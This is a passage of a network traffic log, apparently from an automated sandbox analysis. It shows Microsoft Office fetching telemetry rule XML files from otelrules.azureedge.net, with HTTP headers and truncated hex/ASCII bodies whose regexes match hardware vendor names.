2024-11-09 21:09:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:29 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	538	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:29 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210929Z-16547b76f7fp46ndhC1DFW66zg0000000bn000000000pg12 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:30 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-16547b76f7fj897nhC1DFWdwq40000000bn0000000001azc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:30 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: d3a7539b-d01e-0049-4855-2ee7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-17df447cdb5qkskwhC1DFWeeg4000000087g00000000ch24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:30 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: e192764b-601e-0050-482e-322c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-15869dbbcc6xpvqthC1DFWq7d8000000059000000000044e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:30 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-16547b76f7fcrtpchC1DFW52e80000000bs00000000070ye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:30 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:30 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1efc3f7b-101e-0028-5245-328f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210930Z-15869dbbcc6pfq2ghC1DFWmp140000000500000000007pn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:31 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:31 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e2690547-401e-00a3-7d49-318b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210931Z-15869dbbcc6xcpf8hC1DFWxtx00000000dwg00000000c0b0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-09 21:09:31 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:31 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 18d48f10-001e-00a2-7349-32d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210931Z-15869dbbcc662ldwhC1DFWh4e0000000020000000000msh6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:31 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210931Z-16547b76f7f4k79zhC1DFWu9y00000000bu0000000001vzq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49740	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:31 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 4fda4cb6-f01e-003f-2793-31d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210931Z-17df447cdb5lrwcchC1DFWphes00000007xg00000000k53w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49742	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-09 21:09:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 09 Nov 2024 21:09:32 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: c83fd6ce-601e-0001-1a50-32faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241109T210932Z-17df447cdb57g7m7hC1DFW791s00000007xg00000000gmv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-09 21:09:32 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49745	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-09 21:09:32 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
